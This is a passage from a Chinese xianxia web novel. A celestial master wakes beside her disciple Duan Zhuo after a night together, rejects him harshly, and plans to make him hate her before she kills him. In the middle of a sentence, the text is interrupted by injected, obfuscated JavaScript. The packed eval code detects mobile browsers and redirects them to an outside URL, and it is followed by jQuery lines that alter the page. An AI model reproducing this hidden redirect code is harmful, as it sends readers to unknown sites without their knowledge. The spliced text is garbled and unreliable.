我在原地呆若木鸡,与他对视许久。
我终于反应过来如今我是一副什么模样之时,便迅速将手边不知何物丢了过去,嗔道:“滚出去!”
段灼并未躲开,生生接下,鲜血从他的额间流淌而下,他抬眼无声无息看着我,随后从外面进来,将身后的门关上。
他唤我:“师尊。”
直至那物落地,我才知我丢出去的是床边的烛台。
我问:“我让你进来了吗?”
段灼抬起袖擦拭着额间的鲜血,只是那鲜血干涸,在他的额间伤口处留下了一个印记,衬之他苍白的肤色,显得有些可怜。
段灼双手作揖,与我行礼,沉声道:“启禀师尊,这是我的屋子。”
我:“……”
我很难去理解眼前的情况。
且……
我也意识到这并非我的屋子,可我是如何来的,为何衣裳不整,又为何……浑身酸痛难忍,我却有些不知或者说是宁愿自己不知。
我的后腰又开始疼痛了。
后半夜的记忆逐渐回溯,重新回到了我的脑海中。
段灼见我不说话,又道:“师尊,我向楼下掌柜的要了些吃食,师尊可吃一些?”
“师尊的身体可还舒爽?”
他说着,脸颊泛红。
我:“……”
我知晓这浑身上下的疼痛究竟从何而来了。
我问:“我与你,昨夜……做了些什么?”
其实我心中清楚,却不敢相信我脑子里那些画面是真的。
段灼抬头看我,却也只看了我一眼,便将神色挪开,那模样像不自然,亦像羞怯。
段灼喉中吞咽,轻声道:“我与师尊昨夜……行夫妻之礼。”
“哐当——”一声落地,我将另一边的烛台掀翻了。
“夫妻之礼”四字在我脑中不停回旋。
我终于意识到,我最怕的事情发生了。
我借梦中段灼来疏解,如此不守世间伦理,丧尽师德的事,叫我终于付出了代价。
我与段灼,真的睡了。
我与段灼,行了他口中的夫妻之礼。
段灼见我脸色苍白,久久不言语,又唤道:“师尊?”
“师尊可要吃一些?”
我:“不。”
段灼柔声道:“师尊昨夜累了,多少还是要吃一些,我并未与掌柜说别的,只说阿姐病了。”
他心思细腻周道,亦小心翼翼,叫人说不出错来。
他那张少年的容颜,带着些和煦的笑意。
我看着他这副颇有人夫感的模样,整个心都在颤抖。
我的双手紧紧扣住被褥,吐出三个字音。
“我说,不。”
段灼并未因为我的拒绝而恼怒,而是逐渐靠近我,站在床边,问道:“那师尊想要,或是……想做些什么?”
我看着他,字字句句恨声道:“我要你将昨夜之事忘记,就当……什么都没发生过。”
段灼那和煦的笑容淡去,他变得有些无措,急急握住我的手,问道:“可是我哪里做得不好?我可以学,也可以改……求求师尊不要这般对我……”
他越说,眼中滚滚而出的泪水便越多。
我将手抽了出来,叹气道:“昨夜之事,是误会一场,我并无此意。”
段灼的泪止住了,他看着我,神色变得奇怪起来。
他抓住我的手,看着我字句泣血:“可师尊昨夜分明说,我们什么都做过。”
“可师尊昨夜分明说……”
我看着被他咬得血肉模糊,血肉清晰可见的下唇,他咬牙吐出几个字。
“分明说……喜欢的。”
我垂眸不再看他,我是师尊,可我终于明白,师尊并非做的事都是对的。
今日,是我做了错事。
我道:“梦呓之言,不必当真。”
段灼深吸一口气,问道:“对于师尊来说,我是一只召之即来,挥之即去的狗吗?”
我心中却想的是,甚至不如狗。
碧水瑶台后山中日日将我吵醒的鸡能炖来吃了,养只狗,尚且还能看门。
段灼能够为我做些什么?
我点头,用有些冷的语气答道:“是。”
段灼的手骤然垂下,发遮住双眸,叫我看不清他的神色,我只听见他说:“既如此,那我恨师尊。”
我一直都想让段灼恨我。
可如今他真的恨我了,我心中却说不上是什么滋味。
我下意识抚摸着发间的桃花簪,那清香气似乎萦绕在我的指尖。
仅仅一两日,段灼从喜欢我到恨我,这全都是我一手所为。
我对段灼,说不上恨,亦说不上爱,最多有些不喜欢。
可我要杀他这事已成定局,我想若是他厌恶我、恨我,届时我心中或许就不会有太多的顾虑。
那时我杀他,心中便会想,四海八荒,不过是少了个恨我的小妖,倒也不值得我多挂念。
屋外的雨早就停了,只是土壤尚且湿润,我闻到了空气中土壤的味道。
我总是在想,若是我恨段灼,段灼恨我,我与他之间是恨海情天,见面想要弄死对方,那是不是我就不会想这么多了。
他失魂落魄地看着我,泪雨阑珊,我没有回他说“恨我”的话,而是看着他,看着他眼中如潮水奔涌的泪。
我不说话,他亦不说话。
过了许久以后,我想为他这种恨再添上些干柴,让这火烧得更烈一些。
我冷眼道:“恨我?你可记得昨日你曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639902|184470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,喜欢并非能轻易改变的,那如今你的恨可又要日异月更?”
段灼垂下头。
“我问你,昨夜你看不出来我状态不对?”
“嗯。”
我斥责道:“你既知晓,那为何又要顺遂我的心意如此?!你心中想的那些龌龊事,你以为我会不知!”
如今这话说出来,我倒觉得仙界若是有一个“倒打一耙”榜,我能光荣登顶。
我蜷缩着,让这被褥裹着我的身体,我方才已经看见,我的腿上,身上都是血红色的吻痕,我更知晓,这些都是段灼所为。
而今他垂头半跪着,我与他之间却并无暧昧的氛围。
段灼:“我……”
我将身上的被褥裹得更紧了些,又道:“你来碧水瑶台这些时日,我并未因为你是妖族而苛责过你,反倒收你为徒,悉心教导,助你修炼,如今你却对我产生这样的心思,这碧水瑶台无论如何都容不下你!”
段灼浑身上下都在颤抖,他脸色惨白,血色逐渐退却,双腿骤然跪地,双膝颤颤往我身边挪动。
我听着咚咚咚的声音,看着他挪到我面前,死死握住耷拉在床边的被褥,双眸带着祈求,看向我颤声道:“师……尊……师尊,弟子……弟子知错,求师尊不要赶我走……”
他身后,人间的吃食早就散落一地,豆浆在地上冒着腾腾热气,还有包子馒头什么的,不过都不是我爱吃的。
其实我是个神仙,什么都不爱吃,甚至是几乎都没吃过,就算从前我经常下山,也不曾吃过这些,我亦无口腹之欲。
道行深的妖魔多食人精气,或是食比自己道行浅薄的小妖,可段灼估计日日都在同他那些还未辟谷的师兄们吃凡间的糟糠。
我将目光收回来看着他,其实我这话也只是试探,我不会真的赶他走,我只希望他能乖顺些,不要再做出这样的事。
但我知晓,昨夜之事是我不对,是我走到他房中来的。
我思及此处,突然意识到事情有些不对劲,昨夜的燥热究竟从何而来?
我看向段灼,他还跪在我面前落着泪,我不禁怀疑是不是他在我身上使坏了。
但我左右细看他这副委屈得落泪的模样,却也觉得,似乎也并非是他。
见我眉心紧蹙,段灼心中不安,像是下定决心,垂头开口道:“我会像师尊说的那般,当做什么……什么都没发生过。”
我裹着被褥,上面还带着淡淡的香气,我像在段灼身上闻到过。
昨夜,我曾与他在此上翻云-覆雨,耳鬓厮磨,如今他跪在我面前,说会将这些全都忘却。
我凝眸看着他,开始思考我是否做得太过绝情。
我道:“你可敢发誓,若是再喜欢我,便粉身碎骨,堕入无间地狱,永生永世不得超生?”